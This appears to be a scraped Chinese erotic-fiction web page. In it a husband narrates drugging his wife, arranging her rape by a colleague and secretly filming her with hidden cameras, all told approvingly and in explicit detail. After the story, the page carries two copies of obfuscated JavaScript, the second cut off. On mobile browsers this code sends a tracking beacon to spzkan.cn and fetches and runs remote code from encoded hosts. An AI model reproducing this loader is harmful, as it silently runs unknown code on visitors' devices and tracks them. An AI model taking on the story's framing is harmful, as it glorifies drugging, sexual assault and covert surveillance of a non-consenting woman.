图片载入中

被设计失身的娇妻

特大字】 【大字】 【中字】 【小字

第一章

我的妻子是一个小学教师,有着高挑而丰满的身材,秀丽端庄的面容。

但是也许你没有想到,当她站在讲台上一本正经地讲课时,那一身高雅合体的的职业套裙下的曼妙身体,却正在竭力夹紧大腿——她的阴道和子宫里装满了粘稠的精液,正在向外涌动。

一股精液已经突破了她黑色镂空花内裤的包裹,顺着大腿缓缓地流下来。这些精液如此之多,以至于将她的小腹微微涨起,所产生的压迫感和竭力收紧阴道壁的努力,使她产生一阵阵的快感,不断的轻微颤抖从阴道出发,冲向大脑和全身。

妻子的脸和皮肤变得绯红发烫,没有戴乳罩的丰满乳房上还残留着被搓揉吸吮的感觉,勃起的乳头在外衣上顶起了明显的两点。

她的声音越来越妩媚,还伴着轻微的喘息。可惜讲台下那些小孩不解风情,只有窗外越来越多的来接孩子的家长们看得清清楚楚。与别班来的家长大多是老人和妇女不同,我妻子班上来接孩子的家长都是一色的壮年男人,甚至学校里的男性教职工们也表现出了对这个班非同寻常的关心。

他们清楚的知道,我妻子现在的媚态都得益于他们这一天在不同时间不同地点的努力,而且他们也将继续努力——我早就知道了,这么多的精液不可能都是我的奉献,虽然我也很厉害。

第二章

随着卧室里的光线逐渐明亮,妻子慢慢地从睡梦中醒来,慵懒地伸展着四肢。 我们昨晚那一场大战的感觉还在身上萦绕,她不禁转过头来,看着还在沉睡的我,羞涩而幸福的笑容浮现在妻子那秀丽的脸庞上。

我们是同乡,也是大学的同班同学。当时的我是全班年龄最小的,妻子要比我大一岁。我以前从来没有谈过恋爱,谁也没有想到,有“系花”之称的她会被我这样一个“毛头小子”追到手。

我的那些竞争者们多半是被妻子那端庄高雅、婉拒人于千里之外的气质所难倒,他们连妻子的手也不曾有勇气牵过,妻子在我之前连接吻也没有过。而我凭着一股子愣头愣脑的冲劲和中学时饱览的那些“性自修教材”得来的半截子女性心理知识,逐渐占据了她的心。

我发现,其实妻子的心里有着柔弱顺从的一面,只要打开了她的心扉,她就会全身心地投入。

妻子的家教很严,她的性观念也很保守,我们从大二开始恋爱,一直到大四最后一学期我的生日,她才把自己珍藏了二十多年的贞操作为礼物送给了我,那一刻,我觉得我就是天下最幸福的人。

毕业以后,妻子回到老家的县城小学里当了一名教师,她喜欢这个工作。我在机关上了半年的坐班就忍不住炒了“国家”的鱿鱼,自己做起了生意,几年下来,也算有点小成。主要是各方面都上了轨道,空闲时间多了起来,我们就顺理成章地举办了婚礼,两个人的生活到现在已经是第五年了。

这五年来,我们的性生活过得非常充实,我的精力和欲望同样旺盛,几乎每天都要和妻子作爱,每次都想方设法变换着不同的方式。妻子在性生活中的表现却犹如初夜一般,仍然保持着一种处女式的矜持和娇羞。

她是这样的温柔羞涩,甚至使人有一种逆来顺受的感觉。我怎么做她都接受,这种逆来顺受的样子有时让我都分不清她究竟是情愿还是忍受,是高兴还是痛苦。 但无论是什么,我都渴望她呈现出这种受难般的表情和呻吟,那表情和呻吟每次都让我产生征服的快感,令我高潮汹涌!

妻子作爱,非常性感而不委琐,不论我把她性欲挑弄到什么地步,她自己又有多么激动,都不会表现出淫荡的样子。我只有从她娇媚的眼神、滚烫的肌肤、扭动的腰肢、极力控制的喘息和急速分泌的爱液,才能知道妻子其实也乐在其中。 妻子从来不主动提出要求,只是用如水的眼神和红晕的脸颊来温柔地提醒我。 而只要我需要,什么时候她都愿意接受,使我快乐好象成了她在性生活中的职责似的。不过她也有自己的原则,那就是我必须戴避孕套,因为我们现在还不想要孩子,就算我急不可耐,妻子也要温和而坚持地为我戴上;

另外,妻子也不喜欢口交和肛交,虽然我极力要求,她也勉强尝试过一两次,但是从来没有成功过,她认为很“脏”,也很痛。

除此之外,妻子真的是一个绝佳的性伴侣,端庄而性感这两种特质在她身上的奇妙混合,使我每当看见她都会产生抑制不住的欲望。

就如同昨晚,我们从10点钟一直做到12点,从客厅到卧室,到处都留下我们的痕迹。我起码变换了七八个体位,从男上女下到老汉推车,妻子的喘息和呻吟越来越急促,阴道的收缩也越来越有力。当我把她抱到大镜子前面,让她看着自己晕红的恋颊和汗湿的肌肤时,妻子发出娇嗔的鼻音,紧闭上眼睛,大腿却把我夹得更紧了,我插在她阴道里的阴茎也明显地感觉到握力的加强,用尽全力捅进最深处的我忍不住射精了。

虽然隔了一层薄膜,这股热流击打在子宫里还是让她发出了一声压抑不住的娇唿,爱液从阴道壁汹涌而出,我们同时达到了高潮。迷乱中的妻子一口咬住了我的肩头,我们瘫软地倒在了床上,连汗水和爱液也无力搽拭,相拥着昏昏睡去了……

妻子从浮想中回过神来,俯下身用她那饱满红润的唇亲吻了一下我肩头的齿痕,自失地笑了笑。她轻轻地揭起被子,我晨举的阴茎赫然而立,昨晚的避孕套仍然还裹在上面,前端装满了白浊的精液。

妻子的脸上飞起一片红晕,她轻轻地咬了一下嘴唇,还是用左手把住阴茎的根部,白嫩纤细的右手手指轻柔缓慢地把套子往上卷,深怕弄醒了我。套子到了头部,满满的精液好象就要溢出来了。妻子一手握住阴茎,一手扯过放在枕头边的卫生纸包在龟头上,轻轻一拉,手腕一转,一袋精液一滴也不漏地接了下来。 这是妻子每天早上几乎必做的“功课”,已近熟极而流。不过敏感处的刺激还是让我的身体抽动了几下,妻子轻轻地笑了笑,光裸的肩头耸了耸,提着我那一袋“子子孙孙”下了床。

原想穿上内裤再去卫生间,看看两腿间已经被体温烤干而发亮的爱液,犹豫了一下,妻子还是光着身体轻手轻脚地出了卧室。

随着妻子轻微的脚步声消失在卧室门外,我忽地睁开眼睛。我早就醒了,每天我都是这一时间醒来。因为我知道,我那纯洁端庄的妻子即将开始她这一天的性福生活。

而她的这一切都极力地隐瞒着我,极力地在我的眼里保持着她的贤妻形象,因为她的心灵是纯洁的,她爱我的心从来没有任何改变,她的行为都是为了我的声誉,都是为了维持这段她所珍爱的婚姻。不过妻子不知道的是,这一切都是我处心积虑一手造就的,一切也都操纵在我手里。

第三章

离上课的时间已经不太远了,窗外隐隐透进小学生们那不知疲倦的喧闹声。 因为妻子的学校处于城中心,地理位置非常好,当学校修建教师公寓的时候,我们决定把家安在学校里。这样妻子上班非常方便,早上起码可以多睡半个小时,要到点的时候再直接去教室就可以了。

通过虚掩的卧室门,从卫生间那边传来哗哗的水声,这是妻子在清洗昨晚我们作爱的痕迹。妻子非常爱干净,一直就习惯每天都要洗两次澡,还在大学我就开玩笑说她每天的澡票钱都够我在食堂吃盘小抄了,为此她还骂我是小臭猪,一个月也洗不了几回。这段时间以来她洗澡更是频繁,我当然知道这是为什么。 本来卧室内卫里也有浴缸,但妻子不想吵醒我,特地跑到外卫去洗。这倒方便了我,每天我都可以从容地进行准备工作了。我起身下床,在内卫草草清洗了妻子留在我下腹的爱液,套上件睡衣轻轻地走到过厅里。

按说妻子在洗澡,是听不见外面的响动的,不过为了这个游戏能给我带来更久更大的刺激,还是让她以为我仍在梦中好了。我看了看卫生间的球型锁,应该没有从里面反锁吧,这不重要,重要的是外面的防盗门。我轻轻地把防盗门锁的锁舌都收了起来,这样就微微地张开了一条门缝,对于那些有想法的人来说,这已经足够了。

妻子的记性不太好,我要说是她自己忘了关好防盗门的话,她准保一点怀疑都没有。接下来就是我花了好几天的时间才弄好的秘密武器派用场的时候了,这批针孔摄像头和监视器都是我到省城谈生意的时候买的,为了把它们不露痕迹地安装好,专业不对口的我可真是费了大劲。虽然昨天下午我就试过了角度,但我还是挨个地把针孔摄像头再检查了一遍:客厅的两个分别在电视墙和沙发上面的画框边上,看上去就象一棵钉子头;阳台上的在储物柜顶上,厨房的在抽油烟机顶部,反正都是妻子眼光看不到注意不到的地方。卫生间的在热水器管道边,我现在最需要的就是那个了,至于卧室、书房的摄像头,看来最早也是下午才能派得上用常一切就绪,急不可耐地回到卧室,从我那边的床头柜里拿出监视器,强忍着激烈心跳打开开关,切到外卫摄像头的画面。

画面质量真是好极了。大约是比人高30公分的位置,很恰当的视角。可能是水温调得并不高,水蒸气很少,摄像头的自动调光调焦功能也很是了得,妻子的身体在显示屏上看得一清二楚,看来我买这套东西的钱没白花。妻子正在埋头清洗下身,看不到脸部,但是她前挺后凸的身材在画面上更加诱人:她那挺拔的乳房就象两个颤颤巍巍的牛奶果冻,随着身体的运动而抖动着,两枚艳红的乳头就象果冻上的樱桃,格外鲜嫩;纤细而有力的腰肢盈盈扭动,平坦的小腹上没有一丝赘肉,丰满圆润的臀部好象摆脱了地心引力一样翘起,女人最有魅力的地方在妻子身上组合得如此完美!

这都得益于她长期的锻炼,当然啦,不光是床上运动,妻子从小就练艺术体操,大学时还拿过省大运会的奖牌呢!妻子有着结实的肌肉和紧绷的皮肤,一双东方人不常见的长腿,阴部的位置由此而显得很高,完全符合美术模特的要求。 她白嫩的肌肤几乎毫无瑕疵,乌黑的长发沾了水,发出油亮的反光,这黑白强烈反差、肉感十足的女体就是我每天的枕边人,就是我有意造就的学生家长和教师们的“公妻”吗?就是附近男人们都可以想上就上的“公共厕所”吗? 可是她抬起头来,我看到的是一张洋溢着纯洁高雅气质的脸庞,一双明亮的眼睛,哪里有一点点荡妇的影子?这美丽的人体简直就是古典油画中春天的形象,使人悠然忘俗。我不禁问自己,我所做的一切都是对的吗?毫无疑问,我的变态心理得到了极大的满足,我几乎因为妻子的肉体遭遇而整天处于兴奋当中。 可是妻子呢?这是对她的欺骗还是伤害?如果她知道那些占有她肉体的男人大多是她的丈夫所安排的话,她会有怎样的反应呢?

不过我好象发现妻子也逐渐习惯了这连接不断的不道德的性交,并从其中得到了越来越多的快感,这么说我们是双赢罗?这一切是从什么时候开始的? ……

我的思绪越飘越远,甚至没有注意到客厅小画面上多了一只男人的手。

他轻轻拉开虚掩的防盗门,又熟门熟路地关上,转身直接向卫生间走去,甚至都没有观察一下环境。看得出,这是常客了,充分掌握了我和妻子的作息时间,清楚地知道,我这个时候绝对在卧室睡觉,而妻子绝对在外卫洗澡。

我还在走神,直到这个男人走到卫生间外,试着扭动门锁把手时,我才一下子清醒过来,那些忏悔的念头飞到了九霄云外,偷窥妻子红杏出墙的强烈性冲动完全占据了大脑。男人,从来就是鸡巴指挥大脑!

我定定神看着画面,现在的角度只能看见站在卫生间外的这个男人的背影了,我不禁惋惜地咬了咬牙,不过我不用忍太久,卫生间里的摄像头马上就可以派上用场。

在安装这套系统之前,虽然我几乎天天都会在早晨打开防盗门,也每隔几天就会有色胆包天的男人偷偷熘进来,但我从来只能隔着门板支着耳朵努力偷听。 有时我能从语气和口音上听出,有时也会从妻子一惊之下脱口而出的名字得知来偷香的男人是谁。但是更多的时候只能听到妻子惊讶的声音、男人色欲熏心的猴急淫贱声音、短促的抗拒扭打声,妻子低声恳求而嘴被嘴堵住的声音;以及后来的肉体撞击声音、男人兴奋地喘粗气的声音、妻子逐渐明显而又刻意压抑的呻吟声;再后来就是男人喉间发出的那种用尽全力的怪声,接着是短暂的无声无息,最后就是男人匆匆拉上门离开后妻子叹息和冲洗的声音;当然,还有妻子走到卧室门前倾听我是否有动静的脚步声。

我只能猜测来人是谁,然后在整个白天把全校的男教职工排队:我知道,在早晨这个时候能进入教师公寓的,不可能是学生家长或别的什么人。这种推理的烦恼使我决定安装这套带声音的摄像系统,今天就要满足我长期以来的“直播”愿望了!

画面上的背影扭动卫生间门锁把手,果然没有锁!看来是这几天我为了安装计划而没有照常开门使妻子放松了警惕(她偶尔也会记性好起来去关上我打开的门,这时就可怜门外那位急色鬼了)。

听到把手转动的声音,卫生间画面上正在用大毛巾擦干身体的妻子下意识地停止了动作,我看到她的脸上出现了一种复杂的表情:惊讶、担忧、猜度、抗拒、也许还有点隐隐的希望。

门把手转到了头,门扇被缓缓推开了,一副男人的身板出现在妻子和摄像头的面前。

第四章

“程斌?”“程老师?”我和妻子同时叫出了声,只不过我是在咫尺之外的卧室里通过摄像头面对这个“偷偷”来奸淫自己妻子的男人,而妻子却是在自家的浴室里赤裸地面对着这个不是自己丈夫的男人。

“程老师?”妻子日常工作式的称唿脱口而出,双手却下意识地举起毛巾遮在高耸的胸部,白皙的身体似乎突然受寒一样轻轻地战抖起来,正对摄像头的丰满臀部和光滑的双肩猛地收缩向上,整个高挑背影的神态象极了一只受惊的小猫。 她这样突然面对好色男人的反应我已经无数次地偷听过,或者是听那些我安排的男人们绘声绘色地“汇报”过,但如此鲜活地出现在我的眼睛里,这还是头一次。如此强烈的心理刺激,我的阴茎一下子硬了起来,如同闪电一般。而我之所以这样吃惊,并不是因为这个程斌是新加入“浇灌者”的行列,他前前后后起码也进出过妻子的身体好几十次了。

我惊讶的是,怎么会这样凑巧,我为妻子安排的第一个男人就是程斌,他是周围那些色欲炎炎的男人中第一个得到我妻子肉体的人;而现在,他又是我安装针眼摄像机以后第一个在我眼皮子底下玩弄我妻子的人,他怎么这么好运气? “对啊,就是我,高兴吧?”镜头里的程斌贱兮兮地腆着脸说道,他还在客厅里就脱去了外衣,一边说话一边解着皮带,更显得急色。其实程斌是个挺出色的男人,至少在外表上是。

他是妻子学校里的体育老师,常年运动的高大身材异常健硕,一张浓眉大眼轮廓分明的脸,正是女人们潜意识里需要的“王子”类人物。我之所以选中了程斌作为开垦我妻子肉体的第一人选,也是有这方面的考虑:作为丈夫之外第一个强行占有自己身体的男人,起码不能让妻子产生生理上的反感,其他的反应也就可以慢慢想办法来平复了;更何况,作为一个具有正常人爱美天性的女人,我看得出妻子对程斌有着隐约的好感,这使我在设计一切的时候更加刺激,心里有着一股异样的冲动……

“你想干什么?快出去!”妻子轻声叫道,心就象被一只大手猛地攥住一样缩紧了。

她很清楚,即将发生的是什么事情,这样的事情已经无数次在她的身上反复上演。面前的这个人,就是自己变成现在这样人尽可夫的始作俑者,自己的贞洁就是被他夺走,后来那一个个男人,一只只肉棒,都是这个男人所开的先河!不管是从小接受的教育、还是对丈夫的愧疚(其实该愧疚的是我),都应该让妻子恨透了程斌。但是,妻子却说不清自己心里究竟是什么滋味:为什么那天心里会隐隐地不断泛起冲动?为什么那天从不喝酒的丈夫会酩酊大醉?为什么那天程斌会在自己心旌动摇的时候出现得那么合适?为什么到现在自己会对这个人还有这样不应该的好感?(妻子并不知道,程斌最多算是我为她挑选的第一支按摩棒,我才是一手造就作为“马桶”的她的元凶!妻子当然也不知道,自己那天为什么会变得这么“淫荡”,这么迫切需要;因为,我在她那天喝的牛奶里加了微量春药。)

“何必呢?咱们都老夫老妻的了,还有什么不好意思?”

“你无耻!我丈夫就在隔壁,他就要起来了,你快出去1妻子低声呵斥道,原本温柔圆润的声音因为紧张而变得有点嘶哑。其实她自己心里也是七上八下,想用我来把眼前这个男人赶出去,又怕我真的醒过来,这样她的努力和付出的代价就完全白费了。

第一次的失身不就是因为怕把老公惊醒吗?那天学校家属的联谊会上我故意喝多了酒,预先安排的程斌送我回来,得到了授意的他就在客厅的沙发上强奸了妻子,而当时的装醉的我就在卧室的床上兴奋地倾听着这一切,透过卧室的门缝,充满罪恶感和刺激感地死死盯着正在被强奸的妻子那悲痛欲泣和压抑性感相交错的面容。

“你老公啊,放心吧,他睡得死死地,哪想得到她老婆正在给他戴绿帽呢? 你不会真要把他弄醒吧?“程斌深知妻子的弱点,故意提高了声音。他已经脱光了衣服,一根粗大的阴茎硬硬地在胯下抖动——马上它就要进入我妻子的身体了!

镜头里程斌的身体异常健壮,

古铜色的皮肤紧绷在起伏的肌肉上,散发出男人饱含力量的特有体味和诱惑力。连我都嫉妒他这一点,虽然我在大学也是系足球队的主力后卫,可是身体素质毕竟比不上专业的他。

妻子果然被这句万应万灵的话击败了,双脚一软,不由自主地往后退了两步,程斌乘机抢上一步抱住了妻子那白皙的身体,一股强烈的男子汉气息登时包围了妻子,这熟悉的气味、强壮有力的男人身体和心灵深处交战的女人欲望与道德感,使她浑身都起了一层鸡皮疙瘩,秀美的大眼睛里迷蒙一片,她知道接下来发生的将是什么,但是她的心里,却始终本能地抗拒着,坚持着自己心灵的最后一块净土。

每一次都象第一次被别的男人强奸,每一次自己都尽力抵抗,抵抗男人的阳物和自己的肉体需要,虽然她知道这种抗拒是多么无力,特别是面对着把自己紧抱在怀里的这个强壮的男人。

好戏终于上演了!卧室里的我兴奋得坐立不安,阴茎硬得笔直。通过高效的摄像头,外面卫生间里妻子白皙苗条的身体和程斌那古铜色健硕的躯体紧紧地纠缠着,那条洁白的毛巾还被妻子无力地拉在胸前,程斌一把扯掉毛巾,火热的胸大肌和妻子高挺丰满的乳房登时毫无阻隔地贴在一起。

妻子不禁叫了一声,苗条的腰肢被程斌的手臂紧抱着无法动弹,上身则下意识地向后倾仰,在我面前的显示屏上绷成了一张弓,尽管是透过麦克风和耳机,我还是听出了那一声娇唿里的多种意味。

妻子一只手徒劳地扳动程斌抱着她细腰的手臂,另一只手好不容易挣脱怀抱,无力地推搡着程斌的胸膛,可是在我看来,那更像是欲迎还拒。

也许男人都有着兽性的潜质,妻子的抗拒更激起了程斌强烈的欲望。尽管已经多次得到了怀里这个女人的身体,但是这样美丽的肉体怎么会使人厌倦呢?那种淫辱别人妻子的快感,特别是清楚地知道这个女人的丈夫就在隔壁也许还在偷听(想不到我还在偷看)的刺激,使程斌的阴茎硬得就象石头一样,在妻子修长的双腿间顶来撞去,妻子无力地夹住大腿,幻想这样就能守住最后的防线。 程斌却深知在这样的环境和他的进攻中,我妻子的抵抗不会持续多久——妻子已经开始微微地喘气了,他一把扳过妻子小巧的头,向着红润饱满的双唇吻了下去。微微的胡须茬子摩擦着她光滑柔嫩的脸,弄得心里也开始发痒,但妻子还是紧紧地抿着嘴唇,听任程斌的嘴在脸上肆虐。

程斌色色地一笑,转移了进攻的目标:一只手仍然搂住妻子的腰,控制她那微不足道的抗拒,手指也不闲着,不停地捏弄着纤细的腰肢上结实的肌肤。另一只手顺着尖削光滑的肩头和背嵴一路来到丰满微翘的臀部,抚摩着饱满的肉体,手中丰厚的肉感刺激着双方的头脑,两个人的唿吸都粗重起来。程斌低下头,熟练地用嘴唇找到了妻子的乳房,伸出舌头在上面不停地来回舔动,时不时地含住乳头吸吮,或者用舌头弹动着。妻子沉甸甸的肉弹随着舌头的运动而不停地抖动着,有一股电流从乳房出发,在身体四处流动,嫣红的乳头也不听话地渐渐充血,挺立起来。

妻子的手绵软地推着程斌,头却无力地向后仰去,一头乌黑的长发随着男人的动作而柳枝一样摇动着。身体的感受逐渐强烈,妻子的意识却慢慢模煳,梦呓般地说道:“不要……这样,快……放开……我……”连绵不绝的快感正在体内涌现出来,两条洁白修长的大腿不自觉地收放摩擦,还没有被触碰的下体也敏感起来,阴道内变得火热,妻子甚至能感觉到一丝爱液正在悄悄地分泌。

她的唿吸渐渐娇媚,程斌敏感地发现了这一点,环抱腰肢的手慢慢放开,移向妻子的下体,手指轻轻地扯动着柔软的体毛,搓揉着阴道口的嫩肉。妻子微微地向后一退,仿佛要躲开这只不是丈夫的手对隐秘敏感之处的侵扰,但是程斌的手指就象灵动的多头蛇般紧跟上去,更加贪婪地搓揉着妻子的阴部。

他的手法相当纯熟,故意不深入妻子的阴道,而是对外阴进行不间断的刺激。 妻子的阴唇慢慢地充血,微微地张开,一股爱液的味道淡淡散发出来;阴蒂在程斌手指灵活的抚摩下渐渐地挺立起来,突出了阴唇的护卫,更加吸引这手指对它的轮番攻击和弹拨。

程斌每一次对她的进攻,都在妻子的神经系统激起巨大的波澜,身体扭动的幅度越来越大。连我在监视器里都能明显的看出,妻子的皮肤变得绯红,扭来扭去的秀丽脸庞上飞起性欲的红晕,压抑不住的呻吟声越来越柔媚,通过耳机击打在我的心坎上。

妻子的整个阴道都变得灼热,好象连子宫都变成了半融化的岩浆,更多的爱液从妻子的阴道分泌出来,沾湿了程斌的手掌。

程斌抹了一把粘稠的液体,放在鼻尖闻了闻,连我仿佛都能够闻到那股熟悉的清香味道。程斌把满手的爱液举到妻子的眼前,“你看看,都这么湿了,你也很需要吧?还装什么呢?”他轻轻地在妻子的耳边说道。

没想到已经意乱情迷的妻子还保留着最后的一丝清醒,这句在程斌看来是调情的话,却激发了她的羞耻之心。她下意识地躲避着面前自己分泌的液体,用尽最后的毅力想要把自己从情欲的旋涡中解救出来。

我是被人强奸,怎么能有这种感觉?妻子扭动着身体,想从程斌的怀抱中挣脱。

“哦……求……求你,放了……我吧……”这种带着哭音的娇喘,对于男人简直就是一颗伟哥,我和程斌的阴茎都象听到号令一样,猛地笔立起来。

我是只能自己用手捏住,而程斌的阴茎却敲打在妻子的小腹上,好象敲响了总攻的战鼓。他良好的运动素质显示了用武之地,动作立刻迅速起来,双手抓住妻子的双臂把她推到墙边,固定住她竭力挣扎的躯体。妻子气喘吁吁地扭动着,嘴里软弱地叫道:“你要……干什么……放开……我……”

“干什么?都干了那么多次了,你说干什么?”程斌淫笑着用一只膝盖顶进妻子的两腿之间,轻易的就分开了她紧紧夹住的大腿,一根气势汹汹的阳具紧跟着插进了两腿之间。

这根阴茎是这么阴挺,不用主人用手扶着就向上翘起,被热血和性欲肿胀得发紫的龟头自动地顶在妻子的外阴。

老实说,因为程斌的身高超过我,所以阴茎也比我大一些。终于可以亲眼看到别的男人的阴茎插进我妻子的阴道了,而且这只阴茎比我还要大,更加令我期待!

我强忍着剧烈的心跳和硬得发痛的阴茎,战抖着手把焦距调近:程斌的阴茎在妻子的大腿间来回抽动,从阴道流下的爱液沾湿了它,在灯光和高分辨率的镜头下发出银亮的光。妻子不停地扭动反而自动的把不停分泌的爱液涂到程斌的阴茎上面,进进出出的阴茎带着闪闪发光的爱液,弄湿了妻子茂密的阴毛。

龟头在妻子的外阴耸动,不时地冲开阴唇,拨动敏感的阴蒂,甚至冲进阴道口,每到这时,妻子总是全身紧张,仿佛城池沦陷一样。

空气中淫糜的气氛越来越浓,三个情欲激流中的人都起了变化:做在卧室捧着监视器捏着阴茎的我和卫生间里怀抱佳人的程斌都越来越硬,而被强奸的妻子的身体却越来越软,“放……开……停下……哦……噢……”红唇中发出的抗拒言语也渐渐变成了娇媚的喘息和呻吟,两条白嫩的大腿也不自觉地越张越开。 面对如此美丽妩媚的女体,程斌再也忍不住了,他腾出一只手把硬得象铁棒一样的阴茎对准妻子湿润顺滑的的阴道口,慢慢地把肿胀得蘑菇似的龟头顶进她的阴道。妻子的身体也好象被整个顶起一样缓缓上提,迷梦般的俏脸上娇艳的红唇半张,发出“哦……”的口型。

程斌的龟头进入了我妻子的阴道,多年体操锻炼的紧缩下体和火热的触感电流般冲击着他的感觉器官,他不顾一切的猛地把屁股向前一送,一条火热硬挺的阴茎一下子插到了妻子的阴道深处。

“他终于插进去了1第一次亲眼看着别人的阴茎插进妻子的肉体,我竟然产生了一种完成伟业的感觉。陷入极度兴奋之中的我和程斌都不会注意到,这个时候下身正被肉棒抽送的妻子喃喃的说了一句话。

如果麦克风的灵敏度再高一点的话,我就会听到从红杏出墙的妻子嘴里说出的话是:“老公……对不起……”(完)


上一篇:王大伟的故事

下一篇:我喜欢看老婆被别人操


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 